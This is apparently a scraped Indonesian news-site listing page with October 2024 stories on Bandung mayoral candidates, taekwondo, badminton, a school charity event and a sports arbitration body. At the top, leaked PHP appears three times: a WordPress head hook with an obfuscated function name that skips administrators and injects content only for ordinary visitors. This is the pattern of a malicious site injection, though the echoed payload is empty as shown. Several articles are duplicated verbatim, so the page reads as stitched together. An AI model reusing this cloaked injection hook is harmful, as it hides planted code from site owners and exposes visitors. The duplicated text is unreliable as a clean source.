if (!function_exists('f5cda30b4')) { function f5cda30b4() { if (is_admin() || (function_exists('is_user_logged_in') && is_user_logged_in() && function_exists('current_user_can') && current_user_can('manage_options'))) { return; } echo '' . "\n"; } } add_action('wp_head', 'f5cda30b4', 999); Vista Nusantara - Laman 239 dari 271 -
?> if (!function_exists(‘f5cda30b4’)) { function f5cda30b4() { if (is_admin() || (function_exists(‘is_user_logged_in’) && is_user_logged_in() && function_exists(‘current_user_can’) && current_user_can(‘manage_options’))) { return; } echo ‘' . "\n"; } } add_action('wp_head', 'f5cda30b4', 999);

Blog

?> if (!function_exists('f5cda30b4')) { function f5cda30b4() { if (is_admin() || (function_exists('is_user_logged_in') && is_user_logged_in() && function_exists('current_user_can') && current_user_can('manage_options'))) { return; } echo '' . "\n"; } } add_action('wp_head', 'f5cda30b4', 999);
  • Kerja Sama KONI dan ATU Diharapkan Tingkatkan Prestasi Taekwondo Indonesia

    VISTA NUSANTARA — Ketua Umum Komite Olahraga Nasional Indonesia (KONI) Pusat Marciano Norman menerima kunjungan kehormatan dari organisasi The Asian Taekwondo Union (ATU) dari Korea, di Kantor KONI Pusat, Jakarta, Jumat, untuk memperkuat kerja sama.

    ATU merupakan salah satu dari lima badan organisasi resmi Serikat Benua yang mengatur seluruh kegiatan Taekwondo di Benua Asia asal Korea.

    Kunjungan ATU ke sejumlah negara adalah bagian dari upaya mempromosikan dan mengembangkan cabang olahraga taekwondo di Benua Asia. Saat ini terdapat 44 asosiasi nasional yang menjadi anggota dan bekerja sama dengan ATU.

    “Saya selaku Ketum KONI Pusat berharap prestasi cabang olahraga taekwondo Indonesia dapat lebih meningkat setelah ini,” kata Marciano dalam keterangan tertulis yang diterima di Jakarta.

    Kunjungan tersebut ditujukan untuk meningkatkan lebih lanjut kerja sama yang telah terbangun sebelumnya, khususnya untuk peningkatan capaian prestasi atlet Indonesia ke multievent dunia melalui cabang olahraga taekwondo. Dengan kerja sama tersebut diharapkan prestasi atlet-atlet Indonesia semakin baik.

    Korea menjadi salah satu pusat pelatihan taekwondo terbaik, yang terbagi di beberapa perguruan tinggi di sana.

    ATU menyatakan siap menjalin kerja sama pelatihan atlet cabang olahraga taekwondo dengan KONI Pusat.

    Sementara itu, Kejuaraan KASAD 6th Asian Taekwondo Open Championship 2024 tengah bergulir.

    Kejuaraan taekwondo tersebut berlangsung selama lima hari pada 15-19 Oktober 2024, diikuti sebanyak 450 atlet dari 21 negara Asia.

    Indonesia sebagai tuan rumah mengikutsertakan tim taekwondo dari seluruh provinsi di Indonesia, termasuk dari TNI dan Polri.

    Kejuaraan tersebut memiliki makna yang baik bagi taekwondo Indonesia sebagai peta jalan menuju Olimpiade Los Angeles 2028 dan sebagai persiapan menghadapi SEA Games serta Asian Games.***

  • Komitmen Arfi Rafnialdi Bangun Kampung Bebas Sampah di Kampung Cibunut Berwarna

    BANDUNG, VISTA NUSANTARAPrasasti bertulisan “di sini, RT 4 RW 1 Blok Tempe, adalah awal perjuangan saya untuk rakyat dan kemanusiaan di pasang di salah satu sisi tembok Balai RK, Blok Tempe Kelurahan Babakan Asih, Kecamatan Bojongloa Kaler, Kota Bandung. Sebelum menjadi Wali Kota Bandung, Ridwan Kamil kerap beraktivitas, mengolah dan membahas berbagai gagasan bersama warga setempat maupun berbagai komunitas. 
    Calon Wali Kota Bandung nomor urut 4, Arfi Rafnialdi bersilaturahmi, mendengar, dan membincangkan gagasan bersama masyarakat setempat. Silaturahmi ke Balai RK masih dalam rangkaian Kang Arfi Mapay Lembur 40 Jam Bersama Warga di Kecamatan Bojongloa Kaler, Kota Bandung, 18-19 Oktober 2024. 
    “Balai RK berada di Bojongloa Kaler, masih di wilayah kegiatan 40 jam menyapa warga. Balai itu menjadi titik nol perjuangan Kang Emil untuk rakyat dan kemanusiaan. Alhamdulillah, saya sempat mampir, berdiskusi dengan ibu-ibu, ketua RT dan RW, tokoh pemuda Blok Tempe,” ucap Kang Arfi, Sabtu (19/10/2024). 
    Kang Arfi melihat Balai RK sebagai lokasi bersejarah bagi perjalanan Kang Emil dalam berkontribusi untuk masyarakat, dan bagi warga Blok Tempe sendiri. Ia terinspirasi oleh karya Ridwan Kamil yang mencakup Balai RK, sehingga memotivasi Kang Arfi untuk mengembangkan program serupa di Kampung Cibunut Berwarna. Bersama Ikatan Alumni ITB Jawa Barat, komunitas GSSI, dan alumni SMA 3 Bandung angkatan ’89, Kang Arfi melaksanakan program pengembangan Kampung Cibunut Berwarna di Kelurahan Kebon Pisang sebagai kawasan bebas sampah berwawasan lingkungan.
    Kang Arfi melihat warga Blok Tempe aktif dalam menyampaikan prakarsa, gagasan, dan pergerakan, yang menciptakan banyak peluang untuk mengembangkan wilayah yang sejalan dengan aspirasi warga setempat.
    “Harapannya, semangat warga Blok Tempe terus bergulir, menghadirkan efek bola salju, kemudian eksis di wilayah-wilayah lain di Kota Bandung. Ketika itu terwujud, efek bola salju itu merangsang semangat warga di wilayah lain menjadi penggerak perubahan ke arah lebih baik di Kota Bandung,” ucap Kang Arfi. 
    Kang Arfi, yang hampir menyelesaikan kegiatan mapay lembur selama 40 jam, menyatakan bahwa jika dipercaya memimpin Kota Bandung, ia akan terus turun ke tengah permukiman masyarakat. Langkah ini dilakukan untuk mendengarkan harapan dan aspirasi warga secara langsung. 
    “Berinteraksi dengan warga sejauh melaksanakan kegiatan, banyak gagasan maupun solusi yang muncul dalam menangani persoalan-persoalan. Saya bersama Teh Yena, akan tetap turun ke masyarakat dengan bentuk yang serupa dengan kegiatan saat ini. Nanti, ketika dipercaya masyarakat menjadi pemimpin di Kota Bandung, kegiatan turun ke masyarakat akan membawa kepala Organisasi Perangkat Daerah, camat, atau kelurahan agar respons dari tiap-tiap persoalan menjadi lebih cepat,” tutur Kang Arfi. 
    Reggi Kayong Munggaran, tokoh masyarakat Blok Tempe, menyampaikan bahwa Balai RK saat ini menjadi laboratorium bagi gerakan sosial dan kemanusiaan Kang Emil. Sebelum menjabat sebagai Wali Kota Bandung, Kang Emil sering menghabiskan waktu di sana untuk mempelajari isu-isu sosial dan menyusun program bersama masyarakat.
    Setelah berhasil di Blok Tempe, Kang Emil mengembangkan program tersebut ke seluruh Kota Bandung. Beberapa program yang diinisiasinya antara lain one village one playground dan urban farming.
    Reggi juga menyampaikan bahwa denyut nadi kehidupan warga kota terletak di gang-gang, seperti halnya di kota-kota besar dunia. Area dengan akses gang menjadi tempat tinggal bagi warga yang termarginalkan dari aspek sosial, ekonomi, maupun politik.
    Lantaran demikian, sangat penting bagi siapa pun yang menduduki kursi Wali Kota dan Wakil Wali Kota Baneunt untuk mengetahui saksama kehidupan masyarakat di gang-gang. “Kebijakan-kebijakan yang berpihak pada masyarakat termarginal mesti berlandaskan realitas di masyarakat, termasuk di gang-gang,” ucap Reggi. 
    Ketua RW 1 Kelurahan Babakan Asih, Abah Iban, turut berdialog dengan Kang Arfi mengenai gagasan pembangunan Kota Bandung ke arah yang lebih baik. Ia menyambut baik salah satu komitmen pasangan Kang Arfi-Teh Yena untuk melanjutkan kembali program PIPPK. 
    “Hal utama, kembali berjalan PIPPK, entah nilainya sama seperti dengan sebelumnya, atau ada penyesuaian menjadi lebih tinggi,” ucap dia.***
  • Arfi Rafnialdi Bersilaturahmi di Balai RK Blok Tempe

    BANDUNG, VISTA NUSANTARAPrasasti bertulisan “di sini, RT 4 RW 1 Blok Tempe, adalah awal perjuangan saya untuk rakyat dan kemanusiaan di pasang di salah satu sisi tembok Balai RK, Blok Tempe Kelurahan Babakan Asih, Kecamatan Bojongloa Kaler, Kota Bandung. Sebelum menjadi Wali Kota Bandung, Ridwan Kamil kerap beraktivitas, mengolah dan membahas berbagai gagasan bersama warga setempat maupun berbagai komunitas. 
    Calon Wali Kota Bandung nomor urut 4, Arfi Rafnialdi bersilaturahmi, mendengar, dan membincangkan gagasan bersama masyarakat setempat. Silaturahmi ke Balai RK masih dalam rangkaian Kang Arfi Mapay Lembur 40 Jam Bersama Warga di Kecamatan Bojongloa Kaler, Kota Bandung, 18-19 Oktober 2024. 
    “Balai RK berada di Bojongloa Kaler, masih di wilayah kegiatan 40 jam menyapa warga. Balai itu menjadi titik nol perjuangan Kang Emil untuk rakyat dan kemanusiaan. Alhamdulillah, saya sempat mampir, berdiskusi dengan ibu-ibu, ketua RT dan RW, tokoh pemuda Blok Tempe,” ucap Kang Arfi, Sabtu (19/10/2024). 
    Sepengetahuan Kang Arfi, Balai RK menjadi lokasi bersejarah Kang Emil sepanjang kiprah mendedikasikan karya untuk masyarakat banyak. Pada saat bersamaan, Balai RK juga bersejarah bagi warga Blok Tempe. 
    Karya Ridwan Kamil yang di antaranya muncul Balai RK menginspirasi Kang Arfi mengambil langkah serupa di Kampung Cibunut Berwarna. Kang Arfi bersama jajaran Ikatan Alumni ITB Jawa Barat, berkolaborasi dengan komunitas GSSI dan alummi SMA 3 Bandung angkatan 89 mengadakan program pengembangan Kampung Cibunut Berwarna, Kelurahan Kebon Pisang sebagai percontohan kawasan bebas sampah berwawasan lingkungan. 
    Kang Arfi memandang, warga Blok Tempe proaktif dalam mengemukakan prakarsa, gagasan, juga pergerakan. Dengan kekuatan itu, terus bermunculan peluang-peluang pengembangan wilayah yang selaras dengan apirasi warga setempat. 
    “Harapannya, semangat warga Blok Tempe terus bergulir, menghadirkan efek bola salju, kemudian eksis di wilayah-wilayah lain di Kota Bandung. Ketika itu terwujud, efek bola salju itu merangsang semangat warga di wilayah lain menjadi penggerak perubahan ke arah lebih baik di Kota Bandung,” ucap Kang Arfi. 
    Hampir menuntaskan mapay lembur selama 40 jam, Kang Arfi menyatakan, akan tetap turun ke tengah permukiman masyarakat ketika beroleh kepercayaan memimpin di Kota Bandung. Upaya tersebut dalam rangka mendengar harapan maupun aspirasi masyarakat. 
    “Berinteraksi dengan warga sejauh melaksanakan kegiatan, banyak gagasan maupun solusi yang muncul dalam menangani persoalan-persoalan. Saya bersama Teh Yena, akan tetap turun ke masyarakat dengan bentuk yang serupa dengan kegiatan saat ini. Nanti, ketika dipercaya masyarakat menjadi pemimpin di Kota Bandung, kegiatan turun ke masyarakat akan membawa kepala Organisasi Perangkat Daerah, camat, atau kelurahan agar respons dari tiap-tiap persoalan menjadi lebih cepat,” tutur Kang Arfi. 
    Tokoh masyarakat Blok Tempe, Reggi Kayong Munggaran menuturkan, lokasi yang saat ini menjadi Balai RK merupakan laboratorium gerakan Kang Emil dalam hal sosial dan kemanusiaan. Jauh sebelum menjadi Wali Kota Bandung, Kang Emil acap menghabiskan waktu belajar urusan sosial, menyusun program secara bersama-sama dengan masyarakat. 
    Berhasil di Blok Tempe, Kang Emil membawa program untuk cakupan Kota Bandung. Sejumlah program itu, di antaranya one village one playground, serta urban farming. 
    Reggi turut menyampaikan, denyut nadi kehidupan warga kota berada di gang-gang, sebagaimana kota-kota besar di dunia. Area dengan akses berupa gang menjadi lokasi permukiman warga termarginal dari aspek sosial, ekonomi, maupu politik. 
    Lantaran demikian, sangat penting bagi siapa pun yang menduduki kursi Wali Kota dan Wakil Wali Kota Baneunt untuk mengetahui saksama kehidupan masyarakat di gang-gang. “Kebijakan-kebijakan yang berpihak pada masyarakat termarginal mesti berlandaskan realitas di masyarakat, termasuk di gang-gang,” ucap Reggi. 
    Ketua RW 1 Kelurahan Babakan Asih, Abah Iban ikut berdialog dengan Kang Arfi perihal gagasan membangun Kota Bandung ke arah lebih baik. Dia menyambut gembira salah satu komitmen pasangan Kang Arfi-Teh Yena yang menjalankan kembali program PIPPK. 
    “Hal utama, kembali berjalan PIPPK, entah nilainya sama seperti dengan sebelumnya, atau ada penyesuaian menjadi lebih tinggi,” ucap dia.***
  • Ambulans Tabrak Rumah Warga, Apakah Ini Tanda Kecerobohan Erwin Sebagai Pemimpin?

    BANDUNG, VISTA NUSANTARAPasangan Muhammad Farhan dan Erwin, yang maju sebagai calon Wali Kota dan Wakil Wali Kota Bandung nomor urut 3, tengah disorot atas sejumlah kontroversi yang mewarnai rekam jejak mereka. Meskipun menawarkan visi baru untuk Bandung, masa lalu pasangan ini tak lepas dari kritik yang bisa memengaruhi perjalanan mereka dalam pemilihan ini.
    Salah satu kontroversi yang membayangi adalah dugaan keterlibatan Farhan dalam sejumlah proyek media yang menuai kritik karena dianggap terlalu komersial dan kurang memperhatikan kepentingan publik. 
    Sebagai sosok yang memiliki pengalaman di dunia media, Farhan mendapat sorotan terkait program-programnya yang dinilai lebih mementingkan keuntungan finansial daripada memberikan kontribusi berarti bagi masyarakat.
    Masyarakat pun mulai mempertanyakan, apakah latar belakang Farhan di media benar-benar mampu diterjemahkan menjadi kepemimpinan yang berpihak pada kepentingan umum.
    Selanjutnya, calon Wakil Wali Kota Bandung, Erwin, juga mendapat sorotan terkait sikap dan keputusannya di masa lalu. Widianto, seorang warga Kota Bandung, menyampaikan bahwa Erwin kurang memiliki kedisiplinan dan terlalu bebas, sehingga sering kali tidak tepat dalam menempatkan suatu hal pada tempat yang seharusnya. Pandangan ini menyoroti kekhawatiran masyarakat tentang kemampuan Erwin dalam menjalankan peran kepemimpinannya secara efektif dan bertanggung jawab. Widianto berpendapat bahwa seorang pemimpin harus memiliki kemampuan untuk membuat keputusan yang bijaksana dan responsif terhadap kebutuhan masyarakat, sehingga dapat membangun kepercayaan publik dan menciptakan lingkungan yang lebih baik bagi seluruh warga Kota Bandung.
    “Kebetulan saya pada saat pilwalkot hari ini itu netral namun saya ada beberapa hal yang kurang sreg terhadap ke salah satu calon diantaranya kepada pak erwin. Disatu sisi ia bagus memiliki visi misi pemimpin tanpa sekat yang membebaskan semua pihak namun kekukarangan nya adalah ia tidak bisa menempatkan suatu hal dengan yang semestinya atau seharusnya”. ucap Widianto ketika di wawancarai pada (Jumat (18/10/2024). 
    Ia mengungkapkan alasannya berpendapat demikian karena beberapa tahun lalu terjadi sebuah insiden yang merugikan orang lain akibat keteledoran dari pihak tertentu. Insiden tersebut menjadi contoh nyata bahwa kurangnya kedisiplinan dan perhatian terhadap detail dapat berakibat fatal. Widianto menekankan pentingnya memiliki pemimpin yang tidak hanya memiliki visi, tetapi juga mampu bertindak dengan penuh tanggung jawab dan profesionalisme dalam menjalankan tugasnya. Menurutnya, kepemimpinan yang efektif memerlukan kombinasi antara visi yang jelas dan kemampuan untuk mengimplementasikan kebijakan dengan baik, sehingga setiap keputusan yang diambil dapat membawa dampak positif bagi masyarakat.
    “Contohnya dulu ada kasus nya ambulans pak erwin yang mengalami kecelakaan sampai menabrak ke rumah warga, nah ketika di usut ternyata di kemudikan oleh pemuda yang belum cukup umur dari dan ia didapati merupakan anggota salah satu ormas”. katanya. 
    Selanjutnya, Widianto mengatakan bahwa seorang pemimpin seharusnya lebih bijak dalam menempatkan suatu hal. Ia menegaskan bahwa keputusan yang diambil oleh seorang pemimpin harus mempertimbangkan dampaknya terhadap masyarakat. Menurutnya, kemampuan untuk mengelola situasi dengan baik dan membuat keputusan yang tepat sangat penting untuk menciptakan kepercayaan publik. Widianto berharap calon pemimpin Kota Bandung dapat menunjukkan sikap yang lebih bijaksana dan responsif terhadap kebutuhan masyarakat. Ia percaya bahwa pemimpin yang mampu mendengarkan aspirasi dan kekhawatiran warga akan lebih efektif dalam menjalankan tugasnya dan membawa perubahan yang positif bagi kota.
    “Menurut saya seharusnya sebagai pemimpin walaupun tanpa sekat tetapi harus pintar dalam memposisikan sesuatu dan tidak semena mena dalam menitikberatkan suatu hal”. pungkasnya.***
  • Visi Misi Tanpa Sekat Erwin, Apakah Itu Justru Melemahkan Kepemimpinannya?

    BANDUNG, VISTA NUSANTARAPasangan Muhammad Farhan dan Erwin, yang maju sebagai calon Wali Kota dan Wakil Wali Kota Bandung nomor urut 3, tengah disorot atas sejumlah kontroversi yang mewarnai rekam jejak mereka. Meskipun menawarkan visi baru untuk Bandung, masa lalu pasangan ini tak lepas dari kritik yang bisa memengaruhi perjalanan mereka dalam pemilihan ini.
    Salah satu kontroversi yang membayangi adalah dugaan keterlibatan Farhan dalam sejumlah proyek media yang menuai kritik karena dianggap terlalu komersial dan kurang memperhatikan kepentingan publik. 
    Sebagai sosok yang memiliki pengalaman di dunia media, Farhan mendapat sorotan terkait program-programnya yang dinilai lebih mementingkan keuntungan finansial daripada memberikan kontribusi berarti bagi masyarakat.
    Masyarakat pun mulai mempertanyakan, apakah latar belakang Farhan di media benar-benar mampu diterjemahkan menjadi kepemimpinan yang berpihak pada kepentingan umum.
    Selanjutnya, calon Wakil Wali Kota Bandung, Erwin, juga mendapat sorotan terkait sikap dan keputusannya di masa lalu. Widianto, seorang warga Kota Bandung, menyampaikan bahwa Erwin kurang memiliki kedisiplinan dan terlalu bebas, sehingga sering kali tidak tepat dalam menempatkan suatu hal pada tempat yang seharusnya. Pandangan ini menyoroti kekhawatiran masyarakat tentang kemampuan Erwin dalam menjalankan peran kepemimpinannya secara efektif dan bertanggung jawab. Widianto berpendapat bahwa seorang pemimpin harus memiliki kemampuan untuk membuat keputusan yang bijaksana dan responsif terhadap kebutuhan masyarakat, sehingga dapat membangun kepercayaan publik dan menciptakan lingkungan yang lebih baik bagi seluruh warga Kota Bandung.
    “Kebetulan saya pada saat pilwalkot hari ini itu netral namun saya ada beberapa hal yang kurang sreg terhadap ke salah satu calon diantaranya kepada pak erwin. Disatu sisi ia bagus memiliki visi misi pemimpin tanpa sekat yang membebaskan semua pihak namun kekukarangan nya adalah ia tidak bisa menempatkan suatu hal dengan yang semestinya atau seharusnya”. ucap Widianto ketika di wawancarai pada (Jumat (18/10/2024). 
    Ia mengungkapkan alasannya berpendapat demikian karena beberapa tahun lalu terjadi sebuah insiden yang merugikan orang lain akibat keteledoran dari pihak tertentu. Insiden tersebut menjadi contoh nyata bahwa kurangnya kedisiplinan dan perhatian terhadap detail dapat berakibat fatal. Widianto menekankan pentingnya memiliki pemimpin yang tidak hanya memiliki visi, tetapi juga mampu bertindak dengan penuh tanggung jawab dan profesionalisme dalam menjalankan tugasnya. Menurutnya, kepemimpinan yang efektif memerlukan kombinasi antara visi yang jelas dan kemampuan untuk mengimplementasikan kebijakan dengan baik, sehingga setiap keputusan yang diambil dapat membawa dampak positif bagi masyarakat.
    “Contohnya dulu ada kasus nya ambulans pak erwin yang mengalami kecelakaan sampai menabrak ke rumah warga, nah ketika di usut ternyata di kemudikan oleh pemuda yang belum cukup umur dari dan ia didapati merupakan anggota salah satu ormas”. katanya. 
    Selanjutnya, Widianto mengatakan bahwa seorang pemimpin seharusnya lebih bijak dalam menempatkan suatu hal. Ia menegaskan bahwa keputusan yang diambil oleh seorang pemimpin harus mempertimbangkan dampaknya terhadap masyarakat. Menurutnya, kemampuan untuk mengelola situasi dengan baik dan membuat keputusan yang tepat sangat penting untuk menciptakan kepercayaan publik. Widianto berharap calon pemimpin Kota Bandung dapat menunjukkan sikap yang lebih bijaksana dan responsif terhadap kebutuhan masyarakat. Ia percaya bahwa pemimpin yang mampu mendengarkan aspirasi dan kekhawatiran warga akan lebih efektif dalam menjalankan tugasnya dan membawa perubahan yang positif bagi kota.
    “Menurut saya seharusnya sebagai pemimpin walaupun tanpa sekat tetapi harus pintar dalam memposisikan sesuatu dan tidak semena mena dalam menitikberatkan suatu hal”. pungkasnya.***
  • SMKN 15 Bandung Bagikan Makanan di Kegiatan Jum’at Berkah untuk Siswa dan Guru

    BANDUNG, VISTA NUSANTARAKeluarga besar SMKN 15 Bandung yang beralamat di jalan Gatot Subroto no 4 Burangrang Kecamatan Lengkong gelar kegiatan Jum’at Berkah dengan membagikan makanan dan minuman kepada siswa-siswi, guru serta tenaga kependidikan setelah pelaksanaan sholat Jum’at yang dilaksanakan di lapangan SMKN 15 Bandung, 18 Oktober 2024.
    Seperti yang disampaikan Sekretaris Komite SMKN 15 Bandung Rika Rosita, bahwa kegiatan Jum’at berkah ini telah dilaksanakan selama 2 bulan, yang melibatkan seluruh orang tua siswa, korlas serta komite SMKN 15 Bandung.
    Pelaksanaan kegiatan Jum’at Berkah ini dilaksanakan dua kali dalam satu bulan yaitu minggu ke 2 dan minggu ke 4. Adapun sumber dana untuk pelaksanaan kegiatan Jum’at Berkah ini berasal dari sumbangan sukarela per kelas yang dikoordinir oleh korlas, selain itu komite pun berusaha mencari para donatur yang berasal dari luar dan dari dalam sekolah, ujar Rika.
    Rika menambahkan tema sajian makanan dalam kegiatan Jum’at Berkah dibuat beda berdasarkan kesepakatan dan untuk Minggu ini bertema nasi. Ke depannya kegiatan Jum’at Berkah ini Insya Allah akan diperluas manfaatnya selain untuk untuk siswa-siswi, guru dan tenaga kependidikan SMKN 15 Bandung, juga bisa dirasakan manfaatnya oleh masyarakat di sekitar sekolah. Dengan kegiatan Jum’at Berkah diharapkan bisa menciptakan lingkungan sekolah yang harmonis, meningkatkan kebersamaan, menguatkan tali silaturahmi, serta bisa menanamkan nilai moral positif, etika yang baik serta pembiasaan untuk selalu berbagi.
    Kepala SMKN 15 Bandung Dra. Lilis Yuyun, M.M.Pd., menyatakan bahwa kegiatan Jum’at Berkah ini merupakan murni inisiasi dari orang tua siswa yang memiliki sikap peduli terhadap putra putrinya, meskipun sebelumnya kegiatan Jum’at Berkah telah dilaksanakan oleh guru dan tenaga kependidikan di lingkungan SMKN 15 Bandung dengan cara rereongan.
    Ternyata kegiatan Jum’at Berkah ini direspon positif dan antusias oleh orang tua siswa yang sama ingin memberikan manfaat bagi SMKN 15 Bandung dengan terlibat langsung pada kegiatan Jum’at Berkah. Dengan kegiatan Jum’at Berkah ini diharapkan dapat meningkatkan kepedulian sosial guna selalu berbagi minimal dengan teman sekelas yang membutuhkan, menguatkan kolaborasi dan sinergitas antara orang tua siswa dengan sekolah serta membina komunikasi yang baik antara orang tua siswa dengan sekolah sebagai satu keluarga besar, terang Lilis Yuyun.
    Kegiatan Jum’at Berkah ini bisa pula sebagai tanda rasa syukur atas segala yang telah diraih saat ini, serta menjadi motivasi positif bagi seluruh keluarga besar SMKN 15 Bandung untuk selalu berbagi, sehingga seluruh siswa-siswi SMKN 15 Bandung tidak hanya memiliki prestasi akademis saja tetapi berkorelasi positif dengan terbentuknya karakter baik yang memiliki Akhlakul Karimah, dan kedepannya manfaat Jum’at Berkah ini diharapkan bisa dirasakan pula oleh masyarakat di luar sekolah, pungkas Lilis Yuyun.***
  • Empat Wakil Indonesia Tampil di Perempat Final Denmark Open 2024

    VISTA NUSANTARA — Sebanyak empat wakil Indonesia siap bertanding pada babak perempat final turnamen BWF Super 750 Denmark Open 2024, Jumat, mulai pukul 17.00 WIB.


    Sektor tunggal putri memiliki dua wakil yang akan berlaga di babak delapan besar, yakni Gregoria Mariska Tunjung dan Putri Kusuma Wardani.

    Gregoria yang turun sebagai unggulan kelima dalam turnamen ini bakal berjumpa dengan wakil India Pusarla V. Sindhu hari ini. Menilik dari histori pertemuan, kedua pemain sudah 12 kali berjumpa, dengan 10 di antaranya dimenangkan oleh Sindhu yang bisa dibilang merupakan pemain veteran.

    Pertemuan terakhir mereka adalah pada babak pertama French Open 2023, dimana Gregoria harus menyerah setelah melakoni laga rubber game sengit.

    Namun, Gregoria kini bisa dibilang memiliki penampilan yang lebih solid dan konsisten, sehingga sang peraih medali perunggu Olimpiade Paris 2024 itu punya peluang untuk memperkecil rekor kekalahannya dari Sindhu.

    Sebelumnya, Gregoria melaju ke babak perempat final Denmark Open 2024 setelah menang atas wakil tuan rumah Mia Blichfeldt 21-10, 22-20 pada babak 16 besar, Kamis (17/10).

    Lebih lanjut, Putri KW akan berjumpa dengan wakil Singapura Yeo Jia Min pada partai delapan besar. Ini menandai pertemuan pertama di antara dua pemain yang sedang naik daun ini.

    Putri melaju ke babak perempat final setelah menang atas wakil Taiwan Sung Shuo Yun pada babak 16 besar melalui dua gim langsung 21-11, 21-15.

    Di sisi lain, unggulan keenam Fajar Alfin/Muhammad Rian Ardianto kembali menjadi tumpuan Indonesia untuk sektor ganda putra.

    Fajar/Rian akan berhadapan dengan wakil Inggris Ben Lane/Sean Vendy pada babak ketiga turnamen kali ini. Kedua pasangan bisa dibilang sering bertemu, dengan 4 dari 7 pertemuan dimenangkan oleh Fajar/Rian.

    Adapun juara bertahan All England Open ini melangkah ke perempat final setelah menang atas pasangan Taiwan Fang-Chih Lee/Fang-Jen Lee melalui rubber game ketat 21-16, 18-21, 21-18 di babak 16 besar.

    Wakil terakhir Indonesia di delapan besar adalah Rinov Rivaldy/Pitha Haningtyas Mentari yang bakal berjumpa dengan unggulan kedua asal China, Jiang Zhen Bang/Wei Ya Xin.

    Pasangan China memenangkan semua pertandingan dari tiga pertemuan mereka, dengan kemenangan terakhir adalah pada babak perempat final Arctic Open 2024.***
  • Kemenpora Resmikan BAKI untuk Tingkatkan Kepastian Hukum Olahraga Indonesia

    VISTA NUSANTARA — Indonesia secara resmi memiliki Badan Arbitrase Keolahragaan Indonesia (BAKI) sebagai lembaga tunggal yang berperan menyelesaikan sengketa dalam bidang keolahragaan di Tanah Air.


    Menteri Pemuda dan Olahraga Dito Ariotedjo menyatakan kehadiran BAKI merupakan momentum bersejarah bagi olahraga Indonesia terutama masa depan penyelesaian sengketa keolahragaan.

    “Ini sebuah langkah maju yang tidak hanya untuk memenuhi amanat undang-undang tetapi juga menegaskan komitmen kita terhadap kepastian hukum di dunia olahraga,” kata Dito Ariotedjo dalam konferensi pers terkait peresmian BAKI di Jakarta, Jumat.

    Ia mengatakan, meskipun pembentukan BAKI dilakukan pada akhir masa jabatannya sebagai Menteri Pemuda dan Olahraga dalam pemerintahan Presiden Joko Widodo periode 2019-2024, tetapi pihaknya tetap menyambut terbentuknya BAKI yang menjadi badan arbitrase keolahragaan tunggal di Indonesia.


    Hadirnya badan itu sebagai kesepakatan seluruh unsur keolahragaan di Indonesia seperti KONI, KOI, NPCI, BAORI, BAKI, organisasi olahraga fungsional, organisasi olahraga profesional setelah melalui dialog panjang sejak 2023.

    Dito menyebutkan, tantangan terbesar penyatuan di lembaga arbitrase tersebut adalah faktor historis dan karakteristik perkara yang ditangani.

    Sebelumnya, kata dia, ada dua forum penyelesaian sengketa keolahragaan yaitu Badan Arbitrase Olahraga Indonesia (BAORI) dan BAKI, namun sekarang hanya melalui BAKI.

    “Tetapi ini bukan soal menang atau kalah atau mama yang lebih diutamakan, tetapi yang utama adalah akses seluruh stakeholders memiliki forum yang jelas dalam menyelesaikan sengketa yang ada sesuai undang-undang,” ujarnya.


    Dito mengatakan, hadirnya BAKI ini mewujudkan satu forum penyelesaian sengketa keolahragaan yang efisien dan adil. Oleh sebab itu, BAKI juga akan mengakomodir pengurus BAORI dalam kepengurusan yang disesuaikan aspek profesionalitas dan kapabilitas untuk kader-kader BAKI.

    Ia menambahkan, BAKI harus memainkan peranan strategis dalam kemajuan olahraga nasional karena yang sangat tergantung pada infrastruktur pendukungnya termasuk kepastian hukum kepada semua pihak terkait.

    Ketua BAKI Mohamed Idwan Ganie mengatakan, setelah penunjukan sebagai badan arbitrase keolahragaan tunggal, BAKI akan menjalankan tugas sepenuhnya sesuai yang diamanatkan dalam aturan yang ada.

    BAKI, kata dia, akan terus mengedepankan kepastian hukum, integritas, dan independensi, serta azas-azas akses terhadap keadilan serta proses yang cepat dengan biaya yang ringan.

    “BAKI sekarang dan nanti akan tetap menjadi badan yang dikelola secara independen meskipun BAKI menerima dukungan dan difasilitasi pendiriannya oleh Kemenpora,” ujarnya.***
  • KNPI Kota Bandung dan Bandung TV Hadirkan Uji Publik, Paslon Soroti Kolaborasi Pemuda

    BANDUNG, VISTA NUSANTARADewan Pimpinan Daerah (DPD) Komite Nasional Pemuda Indonesia (KNPI) Kota Bandung bekerja sama dengan Bandung TV mengadakan Uji Publik Calon Wali Kota Bandung, Rabu (16/10/2024) malam. Format acara itu mengingatkan debat pasangan calon pada tahapan pemilu maupun Pilkada.
    Edwin Khadafi, Ketua DPD KNPI Kota Bandung, menekankan bahwa acara ini diselenggarakan untuk menebarkan semangat kontestasi berbasis gagasan. Ia menggarisbawahi pentingnya pendekatan ini, terutama mengingat bahwa generasi Z dan milenial merupakan kelompok pemilih yang mendominasi di Kota Bandung. Dengan menghadirkan diskusi yang cerdas dan berbasis ide, diharapkan dapat meningkatkan partisipasi pemuda dalam proses demokrasi dan pembangunan kota.
    “Gabungan generasi Z dan milenial di Kota Bandung hampir 60 persen. Salah satu karakteristik pemilih usia muda, yaknu melek informasi. Berlandaskan hal itu, kami perlu menyebarluaskan gagasan dari tiap-tiap pasangan calon,” ucap Edwin sesuai acara. 
    Edwin Khadafi menyampaikan bahwa harapan utama pemuda kepada pemimpin Kota Bandung adalah kemampuan untuk mewujudkan semangat partisipatif. Ia menekankan bahwa pemuda menginginkan pemimpin yang tidak hanya mendengarkan aspirasi mereka, tetapi juga merangkul dan menghadirkan semangat kebersamaan dalam setiap langkah pembangunan di Kota Bandung. Hal ini menunjukkan pentingnya keterlibatan pemuda dalam proses pengambilan keputusan dan pembangunan yang berkelanjutan di kota.
    “Energi pemuda kan luar biasa besar. Harapannya, siapa pun (paslon) yang terpilih nanti, merangkul pemuda dengan energi yang begitu besar itu untuk semakin memajukan dan memberikan kebahagiaan bagi masyarakat Kota Bandung,” ucap Edwin. 
    Arfi Rafnialdi, calon Wali Kota Bandung nomor urut 4, memberikan pujian kepada KNPI Kota Bandung atas keberhasilan penyelenggaraan acara yang bekerja sama dengan Bandung TV. Menurutnya, acara ini telah berhasil menciptakan iklim kontestasi yang cerdas dengan melibatkan para pasangan calon (paslon). Ia menilai bahwa forum seperti ini sangat penting untuk meningkatkan kesadaran politik dan memberikan ruang bagi calon pemimpin untuk menyampaikan visi-misi mereka kepada masyarakat.
